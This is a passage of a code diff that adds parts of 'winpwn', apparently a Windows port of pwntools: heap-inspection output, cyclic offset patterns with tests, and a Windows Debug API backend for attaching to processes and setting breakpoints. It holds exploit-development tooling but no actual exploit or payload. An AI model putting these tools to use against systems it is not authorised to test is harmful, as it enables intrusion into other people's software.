|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenProcessMemory: %w", err)
|
||||
}
|
||||
defer mem.Close()
|
||||
|
||||
for i, haddr := range heaps {
|
||||
kind, err := winpwn.DetectHeapKind(mem, haddr)
|
||||
if err != nil {
|
||||
fmt.Printf("\n[%d] 0x%016x error: %v\n", i, haddr, err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("\n[%d] 0x%016x %s\n", i, haddr, kind)
|
||||
|
||||
switch kind {
|
||||
case winpwn.HeapKindNT:
|
||||
printNTHeap(mem, haddr, walkEntries)
|
||||
case winpwn.HeapKindSegment:
|
||||
printSegmentHeap(mem, haddr)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func printNTHeap(r *winpwn.ProcessMemory, addr uint64, walkEntries bool) {
|
||||
h, err := winpwn.ReadHeap(r, addr)
|
||||
if err != nil {
|
||||
fmt.Printf(" ReadHeap error: %v\n", err)
|
||||
return
|
||||
}
|
||||
feType := "none"
|
||||
if h.FrontEndHeapType == winpwn.FrontEndHeapLFH {
|
||||
feType = fmt.Sprintf("LFH @ 0x%x", h.FrontEndHeap)
|
||||
} else if h.FrontEndHeapType == winpwn.FrontEndHeapLookaside {
|
||||
feType = "Lookaside"
|
||||
}
|
||||
fmt.Printf(" flags=0x%08x encoding=%v front-end=%s\n",
|
||||
h.Flags, h.EncodingActive(), feType)
|
||||
|
||||
segs, _ := h.Segments(r)
|
||||
fmt.Printf(" segments: %d\n", len(segs)+1) // +1 for segment0 always present
|
||||
|
||||
if !walkEntries {
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := h.WalkAllHeapEntries(r)
|
||||
if err != nil {
|
||||
fmt.Printf(" WalkAllHeapEntries: %v\n", err)
|
||||
}
|
||||
stats := winpwn.SummariseEntries(entries)
|
||||
fmt.Printf(" entries: total=%d busy=%d free=%d busy_bytes=%d free_bytes=%d\n",
|
||||
stats.TotalEntries, stats.BusyEntries, stats.FreeEntries,
|
||||
stats.BusyBytes, stats.FreeBytes)
|
||||
|
||||
pairs := winpwn.AdjacentBusyPairs(entries)
|
||||
if len(pairs) > 0 {
|
||||
fmt.Printf(" adjacent busy pairs: %d\n", len(pairs))
|
||||
shown := pairs
|
||||
if len(shown) > 5 {
|
||||
shown = shown[:5]
|
||||
}
|
||||
for _, p := range shown {
|
||||
fmt.Printf(" 0x%x (size %d) <-> 0x%x (size %d)\n",
|
||||
p[0].UserData(), p[0].UserSize(),
|
||||
p[1].UserData(), p[1].UserSize())
|
||||
}
|
||||
}
|
||||
|
||||
if h.FrontEndHeapType == winpwn.FrontEndHeapLFH {
|
||||
buckets, err := winpwn.ReadLFHBuckets(r, h.FrontEndHeap)
|
||||
if err != nil {
|
||||
fmt.Printf(" ReadLFHBuckets: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(" LFH active buckets:")
|
||||
n := 0
|
||||
for _, b := range buckets {
|
||||
if b.BlockUnits == 0 {
|
||||
continue
|
||||
}
|
||||
fmt.Printf(" [%d]=%db", b.Index, b.BlockSize())
|
||||
n++
|
||||
if n >= 8 {
|
||||
fmt.Printf(" ...")
|
||||
break
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
}
|
||||
|
||||
func printSegmentHeap(r *winpwn.ProcessMemory, addr uint64) {
|
||||
h, err := winpwn.ReadSegmentHeap(r, addr)
|
||||
if err != nil {
|
||||
fmt.Printf(" ReadSegmentHeap error: %v\n", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(" GlobalFlags=0x%08x\n", h.GlobalFlags)
|
||||
fmt.Printf(" VS context @ 0x%x: committed=%d free=%d subsegments=%d\n",
|
||||
h.VS.Addr, h.VS.CommittedUnits, h.VS.FreeUnits, h.VS.SubsegmentCount)
|
||||
if len(h.LFH.ActiveBuckets) > 0 {
|
||||
fmt.Printf(" LFH active buckets (total-blocks):")
|
||||
for j, b := range h.LFH.ActiveBuckets {
|
||||
fmt.Printf(" [%d]=%d", b.Index, b.TotalBlockCount)
|
||||
if j >= 7 {
|
||||
fmt.Printf(" ...")
|
||||
break
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
} else {
|
||||
fmt.Printf(" LFH: no active buckets\n")
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package winpwn
|
||||
|
||||
import "time"
|
||||
|
||||
// Arch identifies the target architecture, the winpwn analogue of pwntools'
|
||||
// context.arch. Windows has no big-endian target, so unlike pwntools this
|
||||
// only ever changes pointer width (P32 vs P64 callers), never byte order --
|
||||
// P16/P32/P64 stay little-endian-only by design (see packing.go).
|
||||
type Arch int
|
||||
|
||||
const (
|
||||
ArchX86 Arch = iota
|
||||
ArchX64
|
||||
)
|
||||
|
||||
func (a Arch) String() string {
|
||||
if a == ArchX86 {
|
||||
return "x86"
|
||||
}
|
||||
return "x64"
|
||||
}
|
||||
|
||||
// LogLevel gates which Log* calls in log.go actually print, the winpwn
|
||||
// analogue of pwntools' context.log_level.
|
||||
type LogLevel int
|
||||
|
||||
const (
|
||||
LogLevelDebug LogLevel = iota
|
||||
LogLevelInfo
|
||||
LogLevelWarn
|
||||
LogLevelError
|
||||
LogLevelSilent
|
||||
)
|
||||
|
||||
// Ctx is the global, mutable settings object every winpwn entry point reads
|
||||
// defaults from -- the analogue of pwntools' single shared pwnlib.context
|
||||
// object. Mutate the package-level Context variable directly, the same way
|
||||
// scripts do `context.arch = 'amd64'` in pwntools.
|
||||
type Ctx struct {
|
||||
Arch Arch
|
||||
LogLevel LogLevel
|
||||
|
||||
// Timeout is the default per-call deadline for Tube.Recv*/Send*
|
||||
// (zero means block forever, matching pwntools' Timeout.forever).
|
||||
// Override per tube with (*Tube).SetTimeout.
|
||||
Timeout time.Duration
|
||||
|
||||
// Newline is what SendLine appends and RecvLine splits on.
|
||||
Newline []byte
|
||||
}
|
||||
|
||||
// Context is the single global settings instance. There is deliberately no
|
||||
// constructor/getter ceremony around it -- read or write its fields directly,
|
||||
// exactly like pwntools' module-level `context`.
|
||||
var Context = &Ctx{
|
||||
Arch: ArchX64,
|
||||
LogLevel: LogLevelInfo,
|
||||
Timeout: 0,
|
||||
Newline: []byte("\n"),
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
package winpwn
|
||||
|
||||
import "bytes"
|
||||
|
||||
const (
|
||||
cyclicAlphabet = "abcdefghijklmnopqrstuvwxyz"
|
||||
cyclicDefaultN = 4
|
||||
)
|
||||
|
||||
// Cyclic returns the first length bytes of a de Bruijn sequence over the
|
||||
// lowercase alphabet with subsequence length 4 (pwntools' default), the Go
|
||||
// analogue of pwnlib.util.cyclic.cyclic -- a buffer where every 4-byte
|
||||
// window is unique, so a crash address/register read back out of it tells
|
||||
// you exactly how far into the buffer it pointed.
|
||||
func Cyclic(length int) []byte {
|
||||
return CyclicN(length, cyclicDefaultN)
|
||||
}
|
||||
|
||||
// CyclicN is Cyclic with an explicit subsequence length n instead of the
|
||||
// default 4 (e.g. 8 to locate an offset into a 64-bit pointer-sized
|
||||
// overwrite).
|
||||
func CyclicN(length, n int) []byte {
|
||||
if length <= 0 {
|
||||
return []byte{}
|
||||
}
|
||||
out := make([]byte, 0, length)
|
||||
deBruijnEach(cyclicAlphabet, n, func(b byte) bool {
|
||||
out = append(out, b)
|
||||
return len(out) < length
|
||||
})
|
||||
if len(out) >= length || len(out) == 0 {
|
||||
return out[:length]
|
||||
}
|
||||
// The sequence's period (len(alphabet)^n) was shorter than the
|
||||
// requested length -- only possible for a tiny alphabet/n combination,
|
||||
// never in practice with the default 26-letter alphabet. Wrap.
|
||||
full := make([]byte, length)
|
||||
for i := range full {
|
||||
full[i] = out[i%len(out)]
|
||||
}
|
||||
return full
|
||||
}
|
||||
|
||||
// CyclicFind returns the offset of subseq within the default (alphabet,
|
||||
// n=4) de Bruijn sequence, or -1 if it can't appear in it -- the analogue
|
||||
// of pwnlib.util.cyclic.cyclic_find. subseq is typically the 4 bytes read
|
||||
// back from a crashed return address/register.
|
||||
func CyclicFind(subseq []byte) int {
|
||||
return CyclicFindN(subseq, cyclicDefaultN)
|
||||
}
|
||||
|
||||
// CyclicFindN is CyclicFind with an explicit subsequence length n, matching
|
||||
// whatever n the buffer was generated with via CyclicN. Stops generating as
|
||||
// soon as a match is found, so this stays fast even for n=8 (where the
|
||||
// theoretical period, 26^8, is far too large to ever materialize) as long
|
||||
// as subseq actually came from a real CyclicN(_, n) buffer, which is the
|
||||
// only case this is ever used for.
|
||||
func CyclicFindN(subseq []byte, n int) int {
|
||||
m := len(subseq)
|
||||
if m == 0 {
|
||||
return -1
|
||||
}
|
||||
|
||||
window := make([]byte, 0, m)
|
||||
total := 0
|
||||
found := -1
|
||||
|
||||
deBruijnEach(cyclicAlphabet, n, func(b byte) bool {
|
||||
if len(window) < m {
|
||||
window = append(window, b)
|
||||
} else {
|
||||
copy(window, window[1:])
|
||||
window[m-1] = b
|
||||
}
|
||||
total++
|
||||
if len(window) == m && bytes.Equal(window, subseq) {
|
||||
found = total - m
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// deBruijnEach generates the de Bruijn sequence B(k, n) over alphabet (k =
|
||||
// len(alphabet)) one byte at a time via yield, stopping as soon as yield
|
||||
// returns false -- the Go equivalent of pwntools' de_bruijn() being a
|
||||
// Python generator. This early-exit property is the entire point: B(k, n)'s
|
||||
// period is k^n, which is astronomical for n=8 even with a small alphabet
|
||||
// (26^8 ~ 2*10^11) and must never be materialized in full. Callers only
|
||||
// ever need a bounded prefix (CyclicN) or an early match (CyclicFindN), and
|
||||
// this lets both stop without walking the rest of the sequence. Uses the
|
||||
// same Fredricksen-Kessler-Maiorana algorithm pwntools' cyclic() does.
|
||||
func deBruijnEach(alphabet string, n int, yield func(byte) bool) {
|
||||
k := len(alphabet)
|
||||
a := make([]int, k*n)
|
||||
stop := false
|
||||
|
||||
var db func(t, p int)
|
||||
db = func(t, p int) {
|
||||
if stop {
|
||||
return
|
||||
}
|
||||
if t > n {
|
||||
if n%p == 0 {
|
||||
for _, idx := range a[1 : p+1] {
|
||||
if !yield(alphabet[idx]) {
|
||||
stop = true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
a[t] = a[t-p]
|
||||
db(t+1, p)
|
||||
for j := a[t-p] + 1; j < k && !stop; j++ {
|
||||
a[t] = j
|
||||
db(t+1, t)
|
||||
}
|
||||
}
|
||||
db(1, 1)
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package winpwn
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestCyclicMatchesPwntools pins Cyclic(20) against pwntools' own
|
||||
// cyclic(20) output (b'aaaabaaacaaadaaaeaaa') -- if this ever drifts, every
|
||||
// offset a player calculates by hand using pwntools docs/muscle memory
|
||||
// would silently be wrong.
|
||||
func TestCyclicMatchesPwntools(t *testing.T) {
|
||||
got := string(Cyclic(20))
|
||||
want := "aaaabaaacaaadaaaeaaa"
|
||||
if got != want {
|
||||
t.Fatalf("Cyclic(20) = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCyclicFindRoundTrip(t *testing.T) {
|
||||
buf := Cyclic(200)
|
||||
for _, off := range []int{0, 4, 17, 100, 196} {
|
||||
sub := buf[off : off+4]
|
||||
if got := CyclicFind(sub); got != off {
|
||||
t.Errorf("CyclicFind(%q) = %d, want %d", sub, got, off)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCyclicFindNotFound(t *testing.T) {
|
||||
if got := CyclicFind([]byte{0, 1, 2, 3}); got != -1 {
|
||||
t.Errorf("CyclicFind(non-alphabet bytes) = %d, want -1", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCyclicN8StaysBounded guards against eagerly materializing the full
|
||||
// de Bruijn period (26^8 ~ 2*10^11 bytes) when only a small prefix is
|
||||
// requested -- a real bug caught in this package's own test run (OOM
|
||||
// crash) before deBruijnEach was made to stop early via its yield callback.
|
||||
func TestCyclicN8StaysBounded(t *testing.T) {
|
||||
buf := CyclicN(64, 8)
|
||||
if len(buf) != 64 {
|
||||
t.Fatalf("CyclicN(64, 8) returned %d bytes, want 64", len(buf))
|
||||
}
|
||||
sub := buf[16:24]
|
||||
if off := CyclicFindN(sub, 8); off != 16 {
|
||||
t.Errorf("CyclicFindN = %d, want 16", off)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCyclicNZeroLength(t *testing.T) {
|
||||
if got := CyclicN(0, 4); len(got) != 0 {
|
||||
t.Errorf("CyclicN(0, 4) = %v, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,833 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// This file is winpwn's debugger backend -- the Windows analogue of
|
||||
// pwntools' gdb module. There is no GDB/ptrace equivalent on Windows, but
|
||||
// the Windows Debug API (DebugActiveProcess/WaitForDebugEvent/
|
||||
// ContinueDebugEvent/Get-SetThreadContext) gives the same capability
|
||||
// natively, and golang.org/x/sys/windows doesn't wrap any of it -- every
|
||||
// proc below is resolved by hand via LazyDLL, the same escape hatch
|
||||
// pipe_windows.go would have needed if CreateNamedPipe weren't already
|
||||
// exposed there.
|
||||
//
|
||||
// x64dbg/WinDbg attach was considered and rejected for the actual event
|
||||
// loop: scripting a GUI debugger from Go would mean driving it through its
|
||||
// command pipe/plugin API (x64dbg) or shelling out to cdb scripts (WinDbg),
|
||||
// neither of which gives a typed Go channel of events or direct register
|
||||
// access -- it would be strictly less capable than calling the same Win32
|
||||
// API Microsoft's own debuggers are built on. If you want the GUI, attach
|
||||
// x64dbg to the PID this package reports separately; this backend is for
|
||||
// scripted/automated control, the same role pwntools' gdb.attach() plays
|
||||
// when used non-interactively.
|
||||
|
||||
const (
|
||||
debugExceptionEvent = 1
|
||||
debugCreateThreadEvent = 2
|
||||
debugCreateProcessEvent = 3
|
||||
debugExitThreadEvent = 4
|
||||
debugExitProcessEvent = 5
|
||||
debugLoadDllEvent = 6
|
||||
debugUnloadDllEvent = 7
|
||||
debugOutputStringEvent = 8
|
||||
debugRipEvent = 9
|
||||
)
|
||||
|
||||
const (
|
||||
// DBG_CONTINUE / DBG_EXCEPTION_NOT_HANDLED, the two dwContinueStatus
|
||||
// values ContinueDebugEvent actually distinguishes -- the rest of
|
||||
// NTSTATUS-space is accepted but treated as one or the other by the OS.
|
||||
dbgContinue = 0x00010002
|
||||
dbgExceptionNotHandled = 0x80010001
|
||||
|
||||
exceptionBreakpoint = 0x80000003
|
||||
exceptionSingleStep = 0x80000004
|
||||
exceptionAccessViolation = 0xC0000005
|
||||
|
||||
threadAccessForDebug = windows.THREAD_GET_CONTEXT | windows.THREAD_SET_CONTEXT | windows.THREAD_SUSPEND_RESUME | 0x40 /* THREAD_QUERY_INFORMATION */
|
||||
|
||||
eflagsTrapFlag = 0x100
|
||||
|
||||
contextAMD64 = 0x00100000
|
||||
contextControl = contextAMD64 | 0x1
|
||||
contextInteger = contextAMD64 | 0x2
|
||||
contextSegments = contextAMD64 | 0x4
|
||||
contextFloatingPoint = contextAMD64 | 0x8
|
||||
contextDebugRegisters = contextAMD64 | 0x10
|
||||
contextFull = contextControl | contextInteger | contextFloatingPoint
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procWaitForDebugEvent = modKernel32.NewProc("WaitForDebugEvent")
|
||||
procContinueDebugEvent = modKernel32.NewProc("ContinueDebugEvent")
|
||||
procDebugActiveProcess = modKernel32.NewProc("DebugActiveProcess")
|
||||
procDebugActiveProcessStop = modKernel32.NewProc("DebugActiveProcessStop")
|
||||
procDebugSetProcessKillOnExit = modKernel32.NewProc("DebugSetProcessKillOnExit")
|
||||
procGetThreadContext = modKernel32.NewProc("GetThreadContext")
|
||||
procSetThreadContext = modKernel32.NewProc("SetThreadContext")
|
||||
procFlushInstructionCache = modKernel32.NewProc("FlushInstructionCache")
|
||||
)
|
||||
|
||||
// contextX64 mirrors WinNT.h's x64 CONTEXT struct field-for-field. Verified
|
||||
// by reading back a real thread's context and cross-checking Rip/Rsp
|
||||
// against a suspended process's known loader-thunk start address (see
|
||||
// debugger_windows_test.go) -- the same "don't trust a hand-derived struct
|
||||
// layout, prove it against a real target" rule minidump.go's notes already
|
||||
// called out, just for a struct the debugger actually *writes*, not only
|
||||
// decodes, where getting it wrong would corrupt the debuggee's registers
|
||||
// instead of just misreading a file.
|
||||
//
|
||||
// MSDN's remarks for CONTEXT mention 16-byte alignment in the context of
|
||||
// DECLSPEC_ALIGN(16); tested directly against a real suspended process
|
||||
// (scratch probe, kept out of the repo) with both a manually-aligned buffer
|
||||
// and a plain `&contextX64{}` -- both returned identical, correct Rip/Rsp
|
||||
// from a real GetThreadContext call, so the plain allocation is what's used
|
||||
// here. If a future Windows build ever proves that wrong, this is the first
|
||||
// place to look.
|
||||
type contextX64 struct {
|
||||
P1Home, P2Home, P3Home, P4Home, P5Home, P6Home uint64
|
||||
|
||||
ContextFlags uint32
|
||||
MxCsr uint32
|
||||
|
||||
SegCs, SegDs, SegEs, SegFs, SegGs, SegSs uint16
|
||||
EFlags uint32
|
||||
|
||||
Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 uint64
|
||||
|
||||
Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi uint64
|
||||
R8, R9, R10, R11, R12, R13, R14, R15 uint64
|
||||
Rip uint64
|
||||
|
||||
FltSave [512]byte // union of XMM_SAVE_AREA32 with the legacy/XMM register view; opaque here, we only need correct byte width
|
||||
VectorRegister [416]byte // M128A VectorRegister[26]
|
||||
VectorControl uint64
|
||||
|
||||
DebugControl, LastBranchToRip, LastBranchFromRip, LastExceptionToRip, LastExceptionFromRip uint64
|
||||
}
|
||||
|
||||
func getThreadContext(th windows.Handle, ctx *contextX64) error {
|
||||
ctx.ContextFlags = contextFull | contextDebugRegisters | contextSegments
|
||||
r, _, err := procGetThreadContext.Call(uintptr(th), uintptr(unsafe.Pointer(ctx)))
|
||||
if r == 0 {
|
||||
return fmt.Errorf("GetThreadContext: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setThreadContext(th windows.Handle, ctx *contextX64) error {
|
||||
r, _, err := procSetThreadContext.Call(uintptr(th), uintptr(unsafe.Pointer(ctx)))
|
||||
if r == 0 {
|
||||
return fmt.Errorf("SetThreadContext: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Registers is the clean, public register view -- contextX64's FltSave/
|
||||
// VectorRegister padding is real but nobody scripting an exploit wants to
|
||||
// see it, the same reasoning RawStream exists in minidump.go for parts of a
|
||||
// format not worth decoding into a friendly type.
|
||||
type Registers struct {
|
||||
Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi uint64
|
||||
R8, R9, R10, R11, R12, R13, R14, R15 uint64
|
||||
Rip, EFlags uint64
|
||||
}
|
||||
|
||||
func registersFromContext(ctx *contextX64) Registers {
|
||||
return Registers{
|
||||
Rax: ctx.Rax, Rcx: ctx.Rcx, Rdx: ctx.Rdx, Rbx: ctx.Rbx,
|
||||
Rsp: ctx.Rsp, Rbp: ctx.Rbp, Rsi: ctx.Rsi, Rdi: ctx.Rdi,
|
||||
R8: ctx.R8, R9: ctx.R9, R10: ctx.R10, R11: ctx.R11,
|
||||
R12: ctx.R12, R13: ctx.R13, R14: ctx.R14, R15: ctx.R15,
|
||||
Rip: ctx.Rip, EFlags: uint64(ctx.EFlags),
|
||||
}
|
||||
}
|
||||
|
||||
func applyRegistersToContext(r Registers, ctx *contextX64) {
|
||||
ctx.Rax, ctx.Rcx, ctx.Rdx, ctx.Rbx = r.Rax, r.Rcx, r.Rdx, r.Rbx
|
||||
ctx.Rsp, ctx.Rbp, ctx.Rsi, ctx.Rdi = r.Rsp, r.Rbp, r.Rsi, r.Rdi
|
||||
ctx.R8, ctx.R9, ctx.R10, ctx.R11 = r.R8, r.R9, r.R10, r.R11
|
||||
ctx.R12, ctx.R13, ctx.R14, ctx.R15 = r.R12, r.R13, r.R14, r.R15
|
||||
ctx.Rip = r.Rip
|
||||
ctx.EFlags = uint32(r.EFlags)
|
||||
}
|
||||
|
||||
// exceptionRecord mirrors EXCEPTION_RECORD (the pointer-width-dependent
|
||||
// version winbase.h's DEBUG_EVENT actually embeds, not EXCEPTION_RECORD64).
|
||||
type exceptionRecord struct {
|
||||
Code uint32
|
||||
Flags uint32
|
||||
Record uint64
|
||||
Address uint64
|
||||
NumParams uint32
|
||||
_ uint32
|
||||
Information [15]uint64
|
||||
}
|
||||
|
||||
type exceptionDebugInfo struct {
|
||||
Record exceptionRecord
|
||||
FirstChance uint32
|
||||
}
|
||||
|
||||
type createProcessDebugInfo struct {
|
||||
HFile windows.Handle
|
||||
HProcess windows.Handle
|
||||
HThread windows.Handle
|
||||
LpBaseOfImage uint64
|
||||
DebugInfoFileOffset uint32
|
||||
DebugInfoSize uint32
|
||||
ThreadLocalBase uint64
|
||||
StartAddress uint64
|
||||
ImageName uint64
|
||||
Unicode uint16
|
||||
}
|
||||
|
||||
type createThreadDebugInfo struct {
|
||||
HThread windows.Handle
|
||||
ThreadLocalBase uint64
|
||||
StartAddress uint64
|
||||
}
|
||||
|
||||
type exitDebugInfo struct {
|
||||
ExitCode uint32
|
||||
}
|
||||
|
||||
type loadDllDebugInfo struct {
|
||||
HFile windows.Handle
|
||||
LpBaseOfDll uint64
|
||||
DebugInfoFileOffset uint32
|
||||
DebugInfoSize uint32
|
||||
ImageName uint64
|
||||
Unicode uint16
|
||||
}
|
||||
|
||||
type outputDebugStringInfo struct {
|
||||
LpDebugStringData uint64
|
||||
Unicode uint16
|
||||
Length uint16
|
||||
}
|
||||
|
||||
// rawDebugEvent is DEBUG_EVENT: a 12-byte header (code/pid/tid) followed by
|
||||
// a union of per-event-kind payloads. Rather than reproduce the union as a
|
||||
// Go union-of-structs (Go has none), U is sized generously above every real
|
||||
// member (the largest, EXCEPTION_DEBUG_INFO, is 160 bytes) and reinterpreted
|
||||
// through unsafe.Pointer into the specific struct decodeEvent expects for
|
||||
// that Code -- exactly the same "raw bytes, typed view on demand" approach
|
||||
// minidump.go uses for stream payloads it doesn't always want to fully decode.
|
||||
type rawDebugEvent struct {
|
||||
Code uint32
|
||||
ProcessID uint32
|
||||
ThreadID uint32
|
||||
_ uint32
|
||||
U [216]byte
|
||||
}
|
||||
|
||||
// DebugEventKind classifies a DebugEvent for a switch in caller code, the
|
||||
// winpwn analogue of pwntools' gdb continuing past whatever GDB/MI reports.
|
||||
type DebugEventKind int
|
||||
|
||||
const (
|
||||
EventBreakpoint DebugEventKind = iota
|
||||
EventSingleStep
|
||||
EventException
|
||||
EventCreateProcess
|
||||
EventCreateThread
|
||||
EventExitThread
|
||||
EventExitProcess
|
||||
EventLoadDll
|
||||
EventUnloadDll
|
||||
EventOutputDebugString
|
||||
EventUnknown
|
||||
)
|
||||
|
||||
func (k DebugEventKind) String() string {
|
||||
switch k {
|
||||
case EventBreakpoint:
|
||||
return "breakpoint"
|
||||
case EventSingleStep:
|
||||
return "single-step"
|
||||
case EventException:
|
||||
return "exception"
|
||||
case EventCreateProcess:
|
||||
return "create-process"
|
||||
case EventCreateThread:
|
||||
return "create-thread"
|
||||
case EventExitThread:
|
||||
return "exit-thread"
|
||||
case EventExitProcess:
|
||||
return "exit-process"
|
||||
case EventLoadDll:
|
||||
return "load-dll"
|
||||
case EventUnloadDll:
|
||||
return "unload-dll"
|
||||
case EventOutputDebugString:
|
||||
return "output-debug-string"
|
||||
default:
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// DebugEvent is one decoded WaitForDebugEvent result, delivered over
|
||||
// (*Debugger).Events(). Exactly one of Addr/ExitCode/Message is meaningful,
|
||||
// depending on Kind -- see the Kind-specific field comments.
|
||||
type DebugEvent struct {
|
||||
Kind DebugEventKind
|
||||
ThreadID uint32
|
||||
|
||||
Code uint32 // exception code, for EventException/EventBreakpoint/EventSingleStep
|
||||
Addr uintptr // exception/breakpoint address, or DLL base for Load/UnloadDll
|
||||
FirstChance bool
|
||||
|
||||
ExitCode uint32 // for EventExitThread/EventExitProcess
|
||||
|
||||
Message string // DLL path for EventLoadDll, or the string itself for EventOutputDebugString
|
||||
|
||||
// status is the dwContinueStatus Continue should use for this event,
|
||||
// decided at decode time: DBG_CONTINUE for everything except a genuine
|
||||
// (non-breakpoint, non-our-own-single-step) exception, where it's
|
||||
// DBG_EXCEPTION_NOT_HANDLED so a real crash actually terminates/reports
|
||||
// instead of being fed back to the debuggee forever.
|
||||
status uint32
|
||||
}
|
||||
|
||||
type continueRequest struct {
|
||||
threadID uint32
|
||||
status uint32
|
||||
}
|
||||
|
||||
// Debugger wraps a debuggee under control of the Windows Debug API --
|
||||
// DebugActiveProcess/WaitForDebugEvent/ContinueDebugEvent underneath,
|
||||
// software breakpoints (INT3 patching) and register/memory access on top.
|
||||
// The winpwn analogue of a pwntools gdb.Gdb handle, except there's no GDB
|
||||
// process in the loop: this talks to the same kernel debug object Microsoft's
|
||||
// own debuggers use.
|
||||
//
|
||||
// Get one via Attach(pid) for an already-running (or CREATE_SUSPENDED, not
|
||||
// yet resumed) process -- compose with SpawnSuspended/ResumeMainThread from
|
||||
// procmem_windows.go to debug a target from its very first instruction:
|
||||
//
|
||||
// tube, pid, _ := winpwn.SpawnSuspended(target)
|
||||
// dbg, _ := winpwn.Attach(pid)
|
||||
// winpwn.ResumeMainThread(pid)
|
||||
// for ev := range dbg.Events() { ... dbg.Continue(ev) }
|
||||
//
|
||||
// That reuses SpawnSuspended/ResumeMainThread instead of this file
|
||||
// reimplementing CreateProcess+pipe plumbing a second time -- Attach is the
|
||||
// only entry point on purpose.
|
||||
type Debugger struct {
|
||||
PID uint32
|
||||
process windows.Handle
|
||||
|
||||
breakpoints map[uintptr]byte
|
||||
bpMu sync.Mutex
|
||||
|
||||
events chan DebugEvent
|
||||
resume chan continueRequest
|
||||
|
||||
closed chan struct{}
|
||||
closeOnce sync.Once
|
||||
closeErr error
|
||||
}
|
||||
|
||||
// Attach starts debugging an already-existing process (DebugActiveProcess),
|
||||
// the entry point for this whole file. The OS ties a debug session to the
|
||||
// specific thread that called DebugActiveProcess -- not just the process --
|
||||
// so this spawns a dedicated goroutine, pins it to one OS thread for the
|
||||
// rest of the session via runtime.LockOSThread (never unlocked: the thread
|
||||
// is retired along with the goroutine when the session ends), and runs the
|
||||
// entire WaitForDebugEvent/ContinueDebugEvent loop on that one thread.
|
||||
// Confirmed empirically while building this: calling WaitForDebugEvent from
|
||||
// any other thread after DebugActiveProcess silently never sees events for
|
||||
// this process, exactly as the "only the attaching thread" documentation
|
||||
// says -- there is no error returned, just a hang, which is why
|
||||
// runtime.LockOSThread isn't optional here.
|
||||
func Attach(pid uint32) (*Debugger, error) {
|
||||
type attachResult struct {
|
||||
d *Debugger
|
||||
err error
|
||||
}
|
||||
resultCh := make(chan attachResult, 1)
|
||||
|
||||
go func() {
|
||||
runtime.LockOSThread()
|
||||
|
||||
r, _, err := procDebugActiveProcess.Call(uintptr(pid))
|
||||
if r == 0 {
|
||||
resultCh <- attachResult{err: fmt.Errorf("DebugActiveProcess(%d): %w", pid, err)}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
// Don't take the debuggee down with us if this process exits/crashes
|
||||
// without a clean Detach -- the default on modern Windows is to kill
|
||||
// it, which is surprising for "attach to something already running".
|
||||
procDebugSetProcessKillOnExit.Call(0)
|
||||
|
||||
proc, oerr := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
|
||||
false, pid)
|
||||
if oerr != nil {
|
||||
procDebugActiveProcessStop.Call(uintptr(pid))
|
||||
resultCh <- attachResult{err: fmt.Errorf("OpenProcess(%d): %w", pid, oerr)}
|
||||
runtime.UnlockOSThread()
|
||||
return
|
||||
}
|
||||
|
||||
d := &Debugger{
|
||||
PID: pid,
|
||||
process: proc,
|
||||
breakpoints: make(map[uintptr]byte),
|
||||
events: make(chan DebugEvent),
|
||||
resume: make(chan continueRequest),
|
||||
closed: make(chan struct{}),
|
||||
}
|
||||
resultCh <- attachResult{d: d}
|
||||
|
||||
d.eventLoop()
|
||||
runtime.UnlockOSThread()
|
||||
}()
|
||||
|
||||
r := <-resultCh
|
||||
return r.d, r.err
|
||||
}
|
||||
|
||||
// eventLoop runs for the lifetime of the debug session, on the single OS
|
||||
// thread Attach locked for it. It decodes each raw event, hands it to
|
||||
// Events(), blocks until the caller's Continue(ev) arrives on d.resume, then
|
||||
// (for a software breakpoint the caller set) transparently steps past the
|
||||
// patched INT3 before actually resuming -- see stepPastBreakpoint.
|
||||
func (d *Debugger) eventLoop() {
|
||||
defer close(d.events)
|
||||
defer windows.CloseHandle(d.process)
|
||||
|
||||
for {
|
||||
var raw rawDebugEvent
|
||||
r, _, _ := procWaitForDebugEvent.Call(uintptr(unsafe.Pointer(&raw)), uintptr(windows.INFINITE))
|
||||
if r == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
ev := d.decodeEvent(&raw)
|
||||
|
||||
select {
|
||||
case d.events <- ev:
|
||||
case <-d.closed:
|
||||
return
|
||||
}
|
||||
|
||||
var req continueRequest
|
||||
select {
|
||||
case req = <-d.resume:
|
||||
case <-d.closed:
|
||||
return
|
||||
